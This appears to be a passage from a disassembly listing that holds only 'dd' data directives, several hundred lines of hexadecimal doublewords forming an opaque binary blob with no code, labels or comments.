		dd 38F68348h, 42BCF3D6h, 0B98339E1h, 0CD6258BEh, 0B5EFA8D1h
		dd 0FD415282h, 0FEB0B671h, 956FB1F4h, 0C3F999DDh, 579FCC76h
		dd 99A1F9ADh, 0B6AFCD3Bh, 23492EF0h, 0BD9CC6DAh, 28FB59E4h
		dd 66D699F6h, 0BE09BBC8h, 0B4E6113Ah, 337F901Bh, 0DB421097h
		dd 4ACEF3B7h, 0FE2DC858h, 0D5139E62h, 9D3B4A72h, 3394FF39h
		dd 7DB06DCFh, 9FE6E21Bh, 3C9574F6h, 0BC5B08E3h,	11939E08h
		dd 9CB6F4A7h, 9A58A579h, 4AA9D965h, 4E399B80h, 0BF5AA9A6h
		dd 0AE79856Eh, 0CF66A6AEh, 0DAAADAAEh, 8C2516D0h, 0BF3AC825h
		dd 5BD4A43Fh, 2BC188F1h, 14C72FE9h, 2EECADDCh, 0B66E6DAEh
		dd 9745B3A7h, 0A3F3E3FBh, 0AEC32A4h, 9B435A85h,	0FAA128F7h
		dd 46BDD6E6h, 0B2D2B95Ch, 4C870D5Eh, 0D95C73B9h, 0A6E5B2D2h
		dd 54384B7Fh, 0C6683BBCh, 0DCDAF2C7h, 6959B9C2h, 719E85D6h
		dd 0EC51EEB7h, 61AA553Ch, 0F7B6D3D7h, 6A0A0A25h, 345B0BABh
		dd 6E288EB4h, 2315556Eh, 6F0B69ECh, 84A2DBDEh, 6FDED996h
		dd 0B62D2A0Eh, 2956973Ch, 21F4B175h, 0E57F0145h, 0D1636972h
		dd 2D86D714h, 0AAAC11DEh, 6BBDB66Dh, 0A7633E0Dh, 2BF16B2Dh
		dd 0BE58E5EDh, 5AE4F3D8h, 0DA4A68C6h, 0AE3F9682h, 5C6D068Eh
		dd 0F68714F9h, 0DA1DB7B2h, 6A5B2620h, 7C7F32A8h, 393E493Bh
		dd 0ACBD7B6Bh, 4521A534h, 170E6B6Dh, 0A7BA9407h, 0DB5379ECh
		dd 0C71AEAD8h, 0EA33BD1Bh, 174E7B4Ah, 0E5057B0h, 0AE4F3D78h
		dd 0E78DBB19h, 1073C61Bh, 184061CFh, 15B01070h,	6D380BD0h
		dd 0E91A77BCh, 479FDE29h, 67B2B7DFh, 69443B98h,	9CCEDA62h
		dd 0DF7E207h, 84CCCAEEh, 0A2C3B8BDh, 311A0999h,	1D690681h
		dd 1A668B0Eh, 69133268h, 3588BFF2h, 4DD327E5h, 0E4D0149Ah
		dd 2327C84Eh, 0B1CC5523h, 9A0199F2h, 4ACA49D4h,	0D162DC77h
		dd 0F2CD074Ch, 0DFE56509h, 0C9B8E69Dh, 4D0549A2h, 0EE7C84DAh
		dd 2D33CF06h, 33409B9Ah, 523E626Fh, 1F7B90C6h, 720375DEh
		dd 0A4072FE1h, 0EC205B52h, 99018401h, 0DD5657E2h, 0D3B707B0h
		dd 998E5139h, 735C79E6h, 3EFEC68Fh, 0CFB1A0F8h,	2D3BF76h
		dd 9DB12BBBh, 483DA67Dh, 9D227D33h, 7D8F9F19h, 1C27DA05h
		dd 1F42DEC6h, 3817B4FCh, 51F07F02h, 0A5A4B5A5h,	0C1F91799h
		dd 0D06B5092h, 560813D8h, 28B6BB2Bh, 8A14D821h,	0CC02B637h
		dd 0EBEAEB77h, 591B9B1Bh, 0E2D799E1h, 25A546E6h, 5A2A3C8Ch
		dd 6A9BC35Bh, 835B4377h, 0A340F9B4h, 0AD843849h, 0DD471909h
		dd 427D85BEh, 0A4C50320h, 58137B91h, 23C792E5h,	956E8323h
		dd 7E30740Dh, 7C421Bh, 3E736837h, 0CB81F2FDh, 0AADA01E9h
		dd 3F9B7FF7h, 2FB5F91Ah, 65DE86F0h, 0A5B21CFAh,	0AE535AAAh
		dd 72C6B80Eh, 0A477A041h, 2E0703E9h, 0F8D73438h, 0B4FE7F81h
		dd 2330435Ah, 0BD54DEAh, 0B2DE03E9h, 0D8ED93FEh, 47B88AD7h
		dd 0E6A8D734h, 2EB9A8BAh, 87F82E68h, 0CD59D735h, 6B9A435h
		dd 0E69F5735h, 275CD5EAh, 0CD31D734h, 1D734475h, 682F5CD6h
		dd 75CD2EAEh, 6A757350h, 0D441F687h, 0C676A1DAh, 0C641C661h
		dd 187B193Bh, 33E7193Bh, 9F3C61CEh, 0C9DCE85Ah,	107B2E2Eh
		dd 0D7D8D7BEh, 0FB0F5F05h, 0D39E885Eh, 85E82F7Dh, 7031C5F4h
		dd 8815511Ah, 1E5F4058h, 7B88A1F5h, 0C9DEFA28h,	31774C8Bh
		dd 38F54D9Ah, 0BA1C639h, 216D2846h, 508D4685h, 8D7A8716h
		dd 0E872550h, 233E90CAh, 225E2112h, 8ADE83BEh, 0F461E8EAh
		dd 0BFA87136h, 7900D6E3h, 5CDDB402h, 3F6689EDh,	3FAA92C0h
		dd 8DB336F0h, 0FA4719C4h, 876B0DAFh, 4D9828B2h,	8EF1481Fh
		dd 7D9C2202h, 7FE730F2h, 75ED28D8h, 3DCD2E84h, 722E3C79h
		dd 0C274390h, 47223216h, 50D70599h, 0FA3AA785h,	3059F5D2h
		dd 87191018h, 0E8C6987Ch, 5C0DEEEh, 6085E464h, 0EF42A886h
		dd 11570279h, 703B9E8Eh, 682FF339h, 0D59FA39Eh,	219B222h
		dd 6D0E4DC0h, 93F11E96h, 0ED6AB6EFh, 433D54B1h,	1FA69F5Bh
		dd 0F582266Ah, 0C697D1E9h, 1C89B131h, 54F3C6A5h, 3BE9B344h
		dd 0EDC227B0h, 7BE9D287h, 39D381F0h, 6137D1F0h,	0FA386E2Ah
		dd 2A910B1Eh, 5904891Fh, 4FD9F310h, 0A9472249h,	53456F5Ch
		dd 6D39620Ah, 6928E47Ah, 1A198441h, 9F4A5438h, 629C7355h
		dd 98837580h, 87D3668Dh, 0DC3DDD69h, 3CAC2224h,	0E44F514Dh
		dd 89B387A8h, 6AE7D366h, 8FB88A19h, 0BBE9B344h,	0BE80BEB5h
		dd 0A30CCB67h, 539D51EFh, 34BDCEB8h, 5222D389h,	0AA1CA8E7h
		dd 9A970976h, 9700FC0Bh, 86985A4Ah, 390A5CFh, 78726C32h
		dd 52E51659h, 947B9216h, 0CFACCA5Ah, 0A4721C87h, 8956FC1Ch
		dd 79A1DAF5h, 651A305Ch, 0DDFCB71Eh, 7DDD0D46h,	12AB7AB2h
		dd 0E3DF47AAh, 64A5C63h, 30D95799h, 92BF1625h, 4B920F4Fh
		dd 7636BCEEh, 6E5CE37Fh, 0CB8F5FFh, 0ECB86EFFh,	0ECB8F5FCh
		dd 0D970DDFEh, 0D971EBF3h, 72E1BBFFh, 752E1268h, 0D7DD45F7h
		dd 0E82EBBABh, 0A015BD0Bh, 8C3DB0F4h, 1249D366h, 0C657A4D8h
		dd 89361BA6h, 4936713Ch, 8016C05Fh, 7920FCCh, 0C7B99146h
		dd 64D94834h, 729461AEh, 0E24528C8h, 0D7C4514Ch, 0A5D695E7h
		dd 0DDC033C2h, 0C743325Dh, 9D339058h, 6FBBF963h, 9125B294h
		dd 2C931FCCh, 0D454C4DFh, 0C9C8B9FDh, 7E348DADh, 14AF5EAEh
		dd 0FBA23EB9h, 0DA0ED106h, 3706B651h, 14E591EBh, 31B6BB7Bh
		dd 8AD41F55h, 1435DF21h, 0CBAE9C5Fh, 1FA1CA81h,	9759A6E2h
		dd 0B1FB4BAAh, 75826CCEh, 0C47BBAE9h, 797D1D5Bh, 78C794DCh
		dd 8E4E3CA2h, 676F10E7h, 3BEEDB0Dh, 98AD42CBh, 0D5143042h
		dd 0F774A329h, 0F39A47A8h, 0A8B63EC8h, 0F6917409h, 255A2C58h
		dd 0B2291CCBh, 0C88A4712h, 0F08CA251h, 0ECF68CE0h, 94D9ED94h
		dd 0D3A6CD1Ah, 0C0E96042h, 58A9ACE9h, 0AD6F685Ah, 0F28ADAA9h
		dd 64F4C6F6h, 0BCD1C99Eh, 3AF91C09h, 1583AE23h,	0E1A36A1Eh
		dd 138DEBCCh, 8B3CD9CCh, 97BC6B33h, 5C4D9B83h, 0AEEEE9EFh
		dd 0A7BD5138h, 153C46FBh, 0C1212936h, 0DCA685F2h, 1CC492C2h
		dd 0B9868FECh, 0FBC729D4h, 6466CF08h, 37DECB66h, 490C7EC7h
		dd 0E2379C54h, 0F5C84EAh, 4719BC7Ah, 74DD354Eh,	29597DEDh
		dd 0E87F5EF0h, 35838CFDh, 0FBAD2AF8h, 935CEED0h, 0BB351B8Ah
		dd 79757747h, 9A1D9B12h, 0D6D05666h, 0B27589EAh, 0C90A6174h
		dd 3C236D73h, 2590AB45h, 0BD3A1D40h, 0B26E39B2h, 0FE0FF38h
		dd 21526853h, 527DB0FBh, 2ED0B251h, 0F79898F7h,	7B73104Dh
		dd 6FDB9882h, 0B4DB662Ch, 0F94B938Ah, 3157E6DAh, 0BEA9B51h
		dd 5BA735DDh, 12DF0719h, 5A89BFFFh, 3E04356Ah, 53B0D651h
		dd 0D4497086h, 73C475E0h, 739B5103h, 0D4E45947h, 5D44C7D3h
		dd 53954C9Eh, 0C59CAA63h, 2A647CAAh, 41AEEAF9h,	1B01824Fh
		dd 2580CC99h, 2499FDB0h, 3019539h, 71AE0373h, 41FCEF5Ah
		dd 5AC70FA0h, 0F7B26D2Fh, 0D47D09D6h, 5371E4A6h, 649F3955h
		dd 930D268Bh, 0A53D5531h, 6D41CA17h, 5616C314h,	6168E718h
		dd 68423401h, 4259D098h, 76B08443h, 44F2D7D1h, 3D17DDD4h
		dd 738CAB4Fh, 3A07B334h
		dd 8423C146h, 5F0530Eh,	9CDF5842h, 1E695DD2h, 4DEA2D3Dh
		dd 0BAE35DD3h, 93CD72FBh, 0AA16ED7Eh, 3FFA13CAh, 0AA71F8EDh
		dd 8A6E4C38h, 0F60BDDF5h, 102ADDF5h, 1D6A8B2Ch,	5A5B7AE3h
		dd 0EA3D3E95h, 0E97DD549h, 0D6A8C75Ah, 0B8EB5171h, 688C75A0h
		dd 0C75AC31Dh, 4863AD59h, 3AD418EBh, 0BD1D68CEh, 0D68F475Ah
		dd 9B7B4C71h, 1DAFA0E4h, 0A88B94CAh, 932FBAF3h,	1667896Ah
		dd 79CF1BD5h, 0D4F3D754h, 11696BF6h, 6525DFA6h,	0E11435E7h
		dd 59FB353Ch, 0A2AB2DA3h, 6D9AA4AFh, 65B66A99h,	0DFC5D995h
		dd 43FD6107h, 0C77208DFh, 0C61A453Eh, 0EF43A64Bh, 74688B87h
		dd 0F7B0CBBCh, 9A663989h, 0E6266639h, 0E4F364C8h, 86FBA980h
		dd 358DC4BDh, 9EE59C56h, 0D9F91173h, 0AC6E41D6h, 0E69FB60h
		dd 0F7774B30h, 0B067E2D1h, 36E9A529h, 4EB95C9Ah, 0A56A6157h
		dd 0E97ABAFBh, 90E69128h, 2A6F07CBh, 0EB58FA8Dh, 6D9FC862h
		dd 677C8DACh, 57230B62h, 0CA2AB58Fh, 18D35347h,	0DCA3CFD8h
		dd 0A46B88B1h, 0ED32EF02h, 67DC466Ch, 0F773950Ch, 9BD7C44h
		dd 7C7A5DE3h, 0EE91CDFDh, 0C5D0B1BCh, 73D90CDCh, 9B2F1068h
		dd 40D14D1Ch, 0C00D0A4Eh, 20E25C7Dh, 10911C2Dh,	0D4CD3E7Ah
		dd 6F88CCF3h, 1151C9A4h, 4645C928h, 0B87274D9h,	0A6CD11C9h
		dd 1E81C473h, 0E4BEFB1Ch, 9106B88Ch, 59D57A39h,	664B6330h
		dd 81EAEA31h, 0DB4B232Eh, 0AC77CE02h, 0D1B909A2h, 0F4EBE499h
		dd 932BD810h, 0D4CA3B82h, 75259EBAh, 3EFA06FDh,	52F7D768h
		dd 0B48FF7D2h, 6A6C71B6h, 0A433EB54h, 69E7A3BEh, 0DB5AA36Dh
		dd 5676D6B0h, 0DAD21B6Bh, 0C436B5FAh, 3D6D6AF4h, 0D6B75B5Ah
		dd 0C9BDA5D6h, 66F13DBh, 0CC656F18h, 5737BB13h,	9365CE31h
		dd 0C2B5F3C0h, 8532CABh, 0F1F51FA2h, 0A03570E5h, 0B99D8132h
		dd 73B3A864h, 0B66E032Dh, 2F4FAF8Eh, 2F5099A4h,	54769A69h
		dd 0C6B73B2Eh, 0B8879F16h, 47E09E0Ch, 42591E38h, 0ADE3DEEh
		dd 25A29739h, 0AECF00FCh, 47C9733Ah, 0D45D24BBh, 0BD30E76Ch
		dd 0BBB019E7h, 0D22A6C9Bh, 5D5C47F4h, 0A54C2DD0h, 27334957h
		dd 0E4A657C7h, 435423FCh, 5985C036h, 6EE4D699h,	0A3E4F314h
		dd 84C0DB01h, 0D7C453A9h, 23D8FB0Dh, 44D62547h,	0B04349EAh
		dd 0CFED3490h, 662E1635h, 5CD1E9E7h, 0E2CD79C7h, 77BEC37Eh
		dd 6B213D80h, 6BD7C0E3h, 0F6DD1CEBh, 8673832Dh,	8C0EF35Ah
		dd 5CDD04ECh, 56E9B7Fh,	507F00Ah, 48C49697h, 30D3C4E4h
		dd 0F02EBEE7h, 7BBE0DDAh, 89972DA4h, 0D095D9E6h, 64C3C1B4h
		dd 0B9D6636Fh, 0A67D829Fh, 2B466622h, 5CC45526h, 6F37FAC1h
		dd 0C5EBFD12h, 0B4620AC5h, 9468DDE3h, 0C0747075h, 882B7975h
		dd 0E8575C06h, 0AAEB80EDh, 9A46A5E0h, 0D2FBA69Eh, 86ADB02Ah
		dd 6FC1C971h, 0F4782A48h, 0CE948AA7h, 9D2F5701h, 7AB888FAh
		dd 0D93A1821h, 0B3AD8F5Fh, 0A20D6E01h, 743B0632h, 365636Fh
		dd 90755029h, 26A4D909h, 191AE728h, 0DD4FBDA4h,	0A9CFAE9Dh
		dd 9BD0D088h, 0E0317F4Dh, 0E7528A69h, 721493EEh, 0DB917481h
		dd 2BC67DC1h, 0C6EE449Bh, 0E6D28E45h, 1CE854Fh,	26AC6C30h
		dd 0FFDFF3BDh, 76D0ED07h, 4DBC0FF8h, 0DDDC7458h, 0DD03F34h
		dd 1E949415h, 5ED1423Dh, 5E357A69h, 359A5D1Bh, 84294FC0h
		dd 73D1F2E3h, 0F531ACB3h, 4298D426h, 81EBFECBh,	513CFDB7h
		dd 6BE3F23Bh, 0F9AF5B7Fh, 0BAB80F0Eh, 0F451666Eh, 2F5EBF80h
		dd 0EA42B6DAh, 79AE59CBh, 0A5657B7h, 19891A02h,	0DF1A1F23h
		dd 1A68096h, 0C069ADF3h, 92CECE74h, 88733486h, 497D719Fh
		dd 79590934h, 75E7453Dh, 2DBB178Eh, 23908513h, 0A4C52085h
		dd 298F4BF3h, 421A704h,	8B0421A7h, 0FE20C0D7h, 22D2E614h
		dd 4747C59Bh, 5054F5F3h, 95A193DBh, 0E29E677Ch,	53674ED6h
		dd 0E7D34EEAh, 76927E90h, 31EB33BAh, 10D7AEC3h,	43F30571h
		dd 9E6B4B43h, 174D3D64h, 3DFFDC37h, 65B17970h, 632DBB2Ch
		dd 69615869h, 0B1B22F2Ch, 6300BE04h, 461ECD29h,	62EF8890h
		dd 0F347A653h, 86B80F0Dh, 0B9249CD2h, 0DF4EC6E3h, 0F536B5A8h
		dd 0F1E0DE06h, 0E57EFE84h, 0FD9DF0DAh, 7C0E2CD8h, 335645CBh
		dd 0F7B0307Eh, 7DC7D436h, 0B49B5EA1h, 1B8BA5DFh, 9703FFDAh
		dd 0F4FAAD2Bh, 4C9F524Ch, 546E95DDh, 0E69EA966h, 71FFCD35h
		dd 3EC4BB8Ch, 0E4FE811Ah, 35CB5F46h, 979BC058h,	7D0FEA57h
		dd 5FE2F194h, 1D36BCF1h, 0D1F8CF35h, 0BD60D17Fh, 0B0E3BE22h
		dd 0E258FD32h, 0F6586BAh, 0F83D921Eh, 878714B8h, 0BDFB3F5h
		dd 33C43F93h, 43C7B626h, 0C62389B1h, 0AF325869h, 4659BC1Ch
		dd 0E9C3FA87h, 743E07F5h, 19FE7464h, 15F4BA72h,	0E6171E59h
		dd 682F4E3Eh, 5BDFA41Fh, 7F49D191h, 118F52ABh, 5D42D26Ch
		dd 0E8591EFDh, 0FD66B205h, 0BC50DF11h, 0FE274EDh, 0FDDD2EAAh
		dd 7843AC11h, 73816F26h, 69FAB86Bh, 0E00FB780h,	9CB778A7h
		dd 1035C65Eh, 0CD7AE7DAh, 3FA6CD13h, 7DBA9A61h,	0E9F6ADD2h
		dd 0D03ED09Dh, 59495B34h, 0EBD18550h, 6C6642A8h, 7D03702Eh
		dd 0F5E55A08h, 0A3DFAE4Fh, 8CE064E6h, 92E80739h, 41855E5Ah
		dd 9722702Ah, 0AFD9AF26h, 697B60B1h, 0A065862Ch, 77D2D73Fh
		dd 4F2186BCh, 2417FB3Fh, 946B88F9h, 0EBC3BC6h, 5F81A65Ch
		dd 0B0BA86DBh, 0E4B632EDh, 0FB042DF0h, 645EBE71h, 740C6E35h
		dd 0CA595A11h, 0AF77389Dh, 777B263Eh, 869FC3FDh, 0D4A1E11Fh
		dd 0E7294349h, 17BB481Bh, 0E7328426h, 8DCD277Ch, 1C8CFB9Ah
		dd 0F08B020Eh, 0B2977247h, 9D919926h, 0F3C9CEE2h, 0F87342E0h
		dd 6EE9473Bh, 89A5DE30h, 275BE629h, 0A1ADF3ECh,	0AE6C44C9h
		dd 6D684E1Ah, 0A0DB5A23h, 8F046829h, 0B4476D69h, 2CB57937h
		dd 0A2671417h, 63F521E7h, 63F52F1h, 0BD4967DBh,	75262BA3h
		dd 8E1C77Dh, 20B314E6h,	0E63A9222h, 5297DAD5h, 0F1F737B5h
		dd 6AE5290Eh, 3DAC9F48h, 496E9744h, 69BBAE4Bh, 7FC52202h
		dd 0A3681A4Ch, 937A1E09h, 0ED87E102h, 0D6C270CDh, 24CA5C0Ch
		dd 0F41B52B9h, 7C1ADF1Ah, 0B9022A27h, 0A6C752F7h, 9BC9D1B9h
		dd 0A3B11559h, 8EBC5FC8h, 7258D256h, 1A4BA796h,	41BD73B2h
		dd 101EA553h, 9602F00Ch, 2839AF1Ch, 71F73509h, 5A70715Ah
		dd 9B397E5Dh, 9592F3A3h, 4DF11CB6h, 0CE65D30Dh,	3C1F1692h
		dd 656AC465h, 0EC49C05Ah, 11C391CEh, 63F59708h,	6B3C4285h
		dd 32DA74DEh, 4676D936h, 0A5868778h, 96508B4Bh,	67EABD81h
		dd 5C9DF550h, 23DEB375h, 5076AE1Eh, 0E4579F0Eh,	0BB9632E6h
		dd 0FE94C855h, 27F031CEh, 7D03591Bh, 8978D047h,	78A9652Bh
		dd 0D85AD623h, 0D6C4EF5Ch, 5EA7E7C2h, 3028D006h, 0B72F7F45h
		dd 67C2F194h, 0F793EFE8h, 65ED7D74h, 0A19FBFB3h, 876254B5h
		dd 3038B30Ch, 0F7EDE5BBh, 726B5E33h, 87C3D89Bh,	0B0D0A43Dh
		dd 0E5EF070Ah, 0C89C40E5h, 0E0EF03D2h, 0CD2EA8CFh, 0FF6FE6B2h
		dd 9BF3FDEFh, 0F96EE970h, 0FE5C9B1Dh, 65F789A6h, 0BC11EE99h
		dd 154052Bh, 7B01EAh, 1BA03CFh,	0C03E803Dh, 16FE020h, 0F0F89BA3h
		dd 2C04C8B1h, 0AC052C06h, 0EA025407h, 0B4025F01h, 83CE88A7h
		dd 380CBE78h, 0FC05E806h, 601CE015h, 90157014h,	0CC3E3F82h
		dd 6C062C04h, 3C6AFD05h, 13B004Bh, 0C1EF0803h, 106020F3h
		dd 0F9E1AFFEh, 0E01F407Dh, 884380A7h, 1FF3C61Bh, 34806300h
		dd 885D10AFh, 7DE7879Bh, 6C003580h, 0E3967645h,	21013B9h
		dd 0F8C211FCh, 9D9DEE8h, 0EF80CBFFh, 4E004E02h,	57004603h
		dd 66029F01h
		dd 3CF540E3h, 0F01E7C0h, 4C54D600h, 4D57EF7Eh, 2B5D5971h
		dd 0A9AAA11Fh, 0D4D537F5h, 2DB5C307h, 933233F6h, 0EEB98B9Dh
		dd 79DB20D9h, 90A78997h, 0C3593D26h, 0F71BFA65h, 0B15EECD4h
		dd 4843C63Ch, 0B12DBFE1h, 0E299859Fh, 8F2C4CC4h, 3AA74B65h
		dd 0D89D6495h, 29CE7099h, 8AC14396h, 9098B8C6h,	0B9E93519h
		dd 0B532E2A2h, 0E2AD2631h, 0F86A53C0h, 40CE49A9h, 957C34E1h
		dd 0D65536Bh, 63652CFEh, 55808E0Dh, 0FB3011F0h,	9CEBAC29h
		dd 9B9DB2ADh, 9704E49Ah, 92CC7A71h, 0BA6CAD5Ah,	0D9234EC9h
		dd 1FC0AFCAh, 0AE4AD477h, 43A7FF88h, 0DEF7F8E1h, 4CF42536h
		dd 87184B59h, 0ACEB6AC9h, 0D7B57476h, 6970C129h, 59BF8B6Dh
		dd 5A8CC9B1h, 0DC5E512Ah, 3C0C8690h, 6B635D32h,	0F08E824Bh
		dd 93F8ADD9h, 2CEE225Dh, 0DCD7731Ah, 255160DAh,	0CFB719Ch
		dd 7AECC927h, 6555A131h, 0AA89E254h, 0C59F4F49h, 39CF8AA5h
		dd 3C89C934h, 3E79E531h, 0FD76733Ah, 9C536B53h,	3D3F8BF6h
		dd 6F665C58h, 3119FB6Dh, 0D6DDDD24h, 0BECC692Ch, 0B4A65C5Ch
		dd 37EB1307h, 0A4B6C9D9h, 4BA4BA4Bh, 0BA4BA4BAh, 0A4BA4BA4h
		dd 4BA4BA4Bh, 0BA4BA4BAh, 0A4BA4BA4h, 4BA4BA4Bh, 0BA4BA4BAh
		dd 0A4BA4BA4h, 4BA4BA4Bh, 0F7FBA4BAh, 0E87FF474h, 6D379A55h
		dd 0A2831DF0h, 0CEBCB673h, 0CA8E93BBh, 1DFFCAE4h, 0E0E746CFh
		dd 0AF3A7EFBh, 213DDF13h, 68289A7Eh, 3BA5FBE3h,	679E297h
		dd 1E7865CFh, 0DD3D249Fh, 81363A3Dh, 50BB792Fh,	0F8F2639Ah
		dd 0CF89D779h, 2AFC4EBDh, 24383C3Ch, 0E3CF1971h, 6B1825C6h
		dd 0BAB77954h, 65566E19h, 47C337Ah, 5347F2DFh, 387DE162h
		dd 7B6F9043h, 0ECBBA6Fh, 8550BE3Ah, 806A887Bh, 2DC25EE9h
		dd 336E71B8h, 0E1AAACEEh, 183719DBh, 9DBE1A77h,	0CD4FCBFAh
		dd 0DC27BE9Bh, 4EE13D69h, 1D9DD8A5h, 84DD3794h,	541EDE69h
		dd 0EA853B86h, 0DF111B71h, 2AA9CB89h, 16E96EF9h, 0CCD46BDCh
		dd 5DD112F7h, 0AEF22DD1h, 0A9E3D495h, 97CA0EE5h, 190E91EEh
		dd 0CC4D2777h, 0E8699729h, 1B7945AEh, 0DCDC72F6h, 2F77CF94h
		dd 0DE5E2165h, 0BDC7ED60h, 0D2AF744Eh, 52F9BE26h, 69545BDEh
		dd 92B948DCh, 0C6DB6E81h, 0B74121D9h, 54659ACDh, 0AA4A9DF1h
		dd 0BBA278Dh, 1BE45F2Ah, 9ACFDB77h, 0A627F90h, 0DC2AFD3Bh
		dd 0BE60E530h, 0C2D54CC3h, 38C66A77h, 3453BF8Ah, 2968E376h
		dd 0A072EF6Eh, 0D02481Dh, 674A052Ch, 8372D8F2h,	3B1BF6F4h
		dd 1CE476E9h, 0E91109FCh, 4143693Dh, 264E4E5Bh,	2BACA9FCh
		dd 8EE8DB4Bh, 6DF10A16h, 0C6B96DEAh, 4E1CB3D1h,	0FFA71529h
		dd 0E8D2BDBAh, 0F29D9D5Dh, 28A3F41h, 54A7EFEAh,	9747FE51h
		dd 7E83F2EFh, 36E73E51h, 0BB4F5F65h, 0D25F8742h, 7B2BD1A2h
		dd 0D4032283h, 83B07057h, 0C9EE229Fh, 53A3331Dh, 0B7C0BECCh
		dd 1F287E8Bh, 3D933E17h, 70007C91h, 0C18FD49h, 0DF6A3F4Ah
		dd 0E8223F8Fh, 0F60498CFh, 0D45B9CE3h, 0FF2A2696h, 0E31CCD5Fh
		dd 0E53013BFh, 0BBF299D4h, 0D46FD395h, 46745EFDh, 468A1ED0h
		dd 2235EC67h, 0C4B1E4D2h, 84657B19h, 7CD14C79h,	2283856Fh
		dd 9EBF6C2Eh, 0EE1FB7E7h, 6387B2EAh, 0E8530A21h, 70CD0FC3h
		dd 54DC887Ch, 17677FA1h, 13BDD49Dh, 0FD8B8E8Dh,	310B00E8h
		dd 0D000CD0Eh, 7098FF73h, 143B3F44h, 45A6C745h,	0D14563A3h
		dd 0EBD1C7E8h, 773D78BBh, 0D80C364Ch, 0DF829D79h, 0A7A3FB35h
		dd 158E17C6h, 38F8CF8Dh, 0B010BE3Ah, 27E8E3FFh,	9DE1A9D1h
		dd 6BE3C7E8h, 7A9F1FA3h, 0A6B63A27h, 0F31BCF08h, 0FABCA53Bh
		dd 4AF2FB7Fh, 2E92D4CEh, 0E92E92E9h, 7EE92E92h,	0FFEE33h
		dd 4B062C76h, 6F33433Ch, 5DE01E8Eh, 6C62B393h, 0C5E197F3h
		dd 94D4B119h, 4B0326AFh, 7D9858F8h, 0DB4239Ch, 90768222h
		dd 2FA7115Fh, 9EC56276h, 70EAE615h, 8F575128h, 761F97D0h
		dd 0B0AE883Fh, 0CA5EB8E3h, 99419785h, 5A35F3AFh, 9E20DC30h
		dd 850E8EE8h, 0C79BB5A9h, 0AC32360Ah, 0C50CB526h, 5E481D52h
		dd 0F152BBE9h, 9F61710Eh, 0EF86AD00h, 0AF30B67Ch, 0E0256639h
		dd 95E66936h, 0BF3AB3FEh, 6E25D231h, 0B6541BEDh, 9A4E678Ah
		dd 0FAD1DD5Eh, 0B4C92C2h, 716D68CBh, 0C896162Ah, 86AE82A2h
		dd 0DA6F9B28h, 0F26D38E8h, 0F11A6D68h, 63A2C4D3h, 57078BAAh
		dd 0C6A3BAD5h, 0F62D6937h, 24190A0Eh, 0AF85AF6h, 7CBF5876h
		dd 0E4C42CC4h, 0A7D8DBBh, 0F2541650h, 6424108Eh, 270B6E32h
		dd 90F13DAEh, 5027766Bh, 1B324458h, 35EF62BBh, 659EEB20h
		dd 0E672BCE9h, 0CF8667FCh, 592BDE5Bh, 0C693D9FFh, 0D63BDC03h
		dd 878F0F43h, 3DCB2C15h, 960A23B3h, 0E83A1C7Ch,	31450A11h
		dd 5768F9B2h, 78C158BFh, 61A80B24h, 0F2E4250Ch,	818F1EE8h
		dd 8B7E9F4h, 0C0747853h, 82E0B38Ah, 728C695Ah, 606E8D99h
		dd 4E193162h, 0EE199EC0h, 0C6DEADFCh, 0AE82577Ch, 980D088Fh
		dd 4AE2D5E0h, 90246586h, 46358F20h, 673CADB3h, 0D923F54h
		dd 0FAFF060Fh, 0AACDF32h, 667539B8h, 652D6C22h,	6549024h
		dd 6D611935h, 0B26858C6h, 0AFB7B7A4h, 6E42C282h, 60E4DAh
		dd 3CC7D79Ch, 2C279144h, 675C4F3Ch, 8FE2B2Fh, 0EDA7CEF9h
		dd 0FE94B60Bh, 790582C9h, 39AE5486h, 49BE2A63h,	0B7E9861Eh
		dd 61640879h, 0F820C448h, 1ADF1363h, 0F42BEF6Ah, 5A29F9D1h
		dd 0D8210264h, 0F7BB2072h, 0DD6F733h, 9A0EE816h, 1E67EF61h
		dd 5FC21BACh, 0FA44283Bh, 0A7980F6Fh, 0D0D7CC06h, 0AFBE658Ch
		dd 0F4833736h, 1FB4BA10h, 6542D040h, 0C62071F5h, 0A82383C7h
		dd 99B0FCB1h, 0F205382Eh, 44D4527Ch, 9D6A1B3Fh,	7CC54594h
		dd 85B62D79h, 0F81D575Eh, 0CB0273CBh, 24F77C0Fh, 79DDD08Fh
		dd 49BCB687h, 0B120AD9Bh, 2FC749AFh, 9F1908E5h,	541950C4h
		dd 0D81D5466h, 92812BB1h, 7B9EE931h, 2C57BFA1h,	587150F0h
		dd 4E918548h, 741C71C6h, 23A08F26h, 0E72451B2h,	0C0A3AC0Ch
		dd 0B16968D2h, 7CEF8290h, 8B212F4Eh, 0B94B95EDh, 36ADDC3Dh
		dd 0E20D2261h, 0DDD28605h, 0BA408C07h, 84E88764h, 1FF1D0F1h
		dd 0C0A26BD0h, 282F4BBDh, 291C0BD2h, 26519AADh,	7FC6530Ah
		dd 0E65584ACh, 77017B59h, 18FD6528h, 3052065h, 0AE77A11Fh
		dd 0EEF14494h, 0F4F5BD18h, 0DF317477h, 7CEFC624h, 8F74484Fh
		dd 837D842Ah, 97552E51h, 0B4654B91h, 0CC916D1Fh, 0C6FF95B3h
		dd 0F64F940Eh, 9476D43Eh, 68103F1Dh, 97072E49h,	0A9191764h
		dd 0DB7C8789h, 0B5D1C4EEh, 0DB84BAE2h, 0DD000220h, 0D1D4FF10h
		dd 0A54F0174h, 6655F153h, 8B1CF829h, 0D4FF1713h, 7C12E8F1h
		dd 3BB05C4Ch, 0C2368BBEh, 0B52D9353h, 7AF3336Ch, 2D894271h
		dd 0C4EED66Eh, 4B8B7D2Eh, 0AD48EA81h, 99649920h, 1579BF4Eh
		dd 0F79F8DE2h, 0F3A697B9h, 0C232C13Dh, 1B5037F5h, 27352DB9h
		dd 0F6080209h, 60E7B7CCh, 64B67B0Bh, 12465D6Eh,	31F4E09Ch
		dd 626E4B87h, 68D7B5E3h, 8FDE0AE7h, 43B7C3B6h, 107682B0h
		dd 64B05E63h, 5A4B9B24h, 0CEA504BDh, 0CBB00E72h, 0F6D522B8h
		dd 0F16915C7h, 4FA41C2Bh, 561478B6h, 0E4FC9CACh, 8BC323E5h
		dd 0CA803153h, 0C6850346h, 4CEA801Fh, 82185A7Eh, 98C7B02Fh
		dd 483E6D67h, 0F51425D7h, 25A906B2h, 1C8AC8A7h,	3F1C7446h
		dd 769E57B0h, 70E8B10h,	6AAFF1A3h, 579CE4EEh, 0C27C4057h
		dd 8D9B4EEFh, 700BF832h, 37B6263Ah, 0A6985BEh, 0D4D17C8Bh
